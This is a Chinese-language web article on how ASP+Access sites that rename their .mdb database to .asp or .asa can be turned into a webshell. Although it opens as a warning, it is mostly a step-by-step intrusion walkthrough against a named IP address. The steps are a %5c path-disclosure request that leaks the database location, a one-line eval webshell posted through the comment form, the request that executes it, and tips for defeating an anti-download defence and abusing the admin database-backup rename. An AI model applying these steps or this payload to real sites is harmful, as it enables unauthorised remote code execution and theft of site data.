我們很多人在使用ASP+ACCESS開發網絡程序時,將mdb數據庫的后綴修改為asp或asa,一直認為這樣是很安全的,但這里也隱藏著一個很大的問題,下面這個文章就具體的探討了問題發生的來龍去脈。
可能是隨著網絡安全技術的發展吧,管理員的素質都在提高,在使用access+asp系統時,為不數據庫被人下載,到把mdb改為asp或asa。先不說直接改后綴,直接可以用網快等工具直接下載,其實這樣你已經是為入侵者打開了大門。入侵者可以利用asp/asa為后綴的數據庫直接得到webshell。
一.思路
大家都知道<%%>為asp文件的標志符,也就是說一個asp文件只會去執行<% %>之間的代碼,access+asp的web系統的所有數據都是存放在數據庫文件里(mdb文件),由于管理者把mdb文件改為了asp文件,如果我們提交的數據里包含有<% %>,那當我們訪問這個asp數據庫的時候就會去執行<% %>之間的代碼。這樣導致我們只提交惡意代碼給數據庫,那么asp后綴的數據庫就是我們的webshell了。
二.示例
隨便找個目標,首先我們暴庫,看是不是asp后綴的數據庫:
http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210
返回:
Microsoft VBScript 編譯器錯誤 錯誤 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft JET Database Engine 錯誤 '80004005'
'D:/log_mdb/%29dlog_mdb%29.asp'不是一個有效的路徑。 確定路徑名稱拼寫是否正確,以及是否連接到文件存放的服務器。
/test/conn.asp,行18
我們提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp返回一堆的亂碼,這樣我們可以直接用網際快車等工具直接下載數據庫(這里我們不討論)。我們回到主頁看到有提供“網友評論”功能。我們注冊個用戶,發一條評論:
< %execute request("b")%>
這樣我們就把asp代碼:<%execute request("b")%>寫入了數據庫,那么數據庫:就是我們的webshell咯。提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp在亂碼的最后我們看到:
/iisHelp/common/500-100.asp,行242
Microsoft VBScript 運行時錯誤 錯誤 '800a000d'
類型不匹配: 'execute'
/test/dlog/log_mdb/%29dlog_mdb%29.asp,行1266
我們的插入的代碼運行了。如下圖:
注意:我們在向數據庫提交代碼時,代碼內容不可以太大。所以我們采用<%execute request("b")%>。
三.其他一些問題和思路
1.對于改了后綴為asp,還對數據庫里加入了<%=’a’-1%>等非法的asp代碼來徹底防止下載的數據庫,由于里面存在了非法的asp代碼,插入我們的webshell代碼后運行,將只會顯示前面非法代碼的錯誤,而不去執行我們shell的代碼。雖然這樣可以防止一定的攻擊,但還是存在一定的隱患,我們只要在出錯的代碼前加入兼容錯誤的代碼,就可以得到正確顯示執行我們插入的webshell代碼了。
2.對于沒有改后綴的,也就是mdb文件,這樣我們可以先直接下載下來得到后臺密碼,進了后臺,可以利用數據庫備用改后綴為asp。
新聞熱點
疑難解答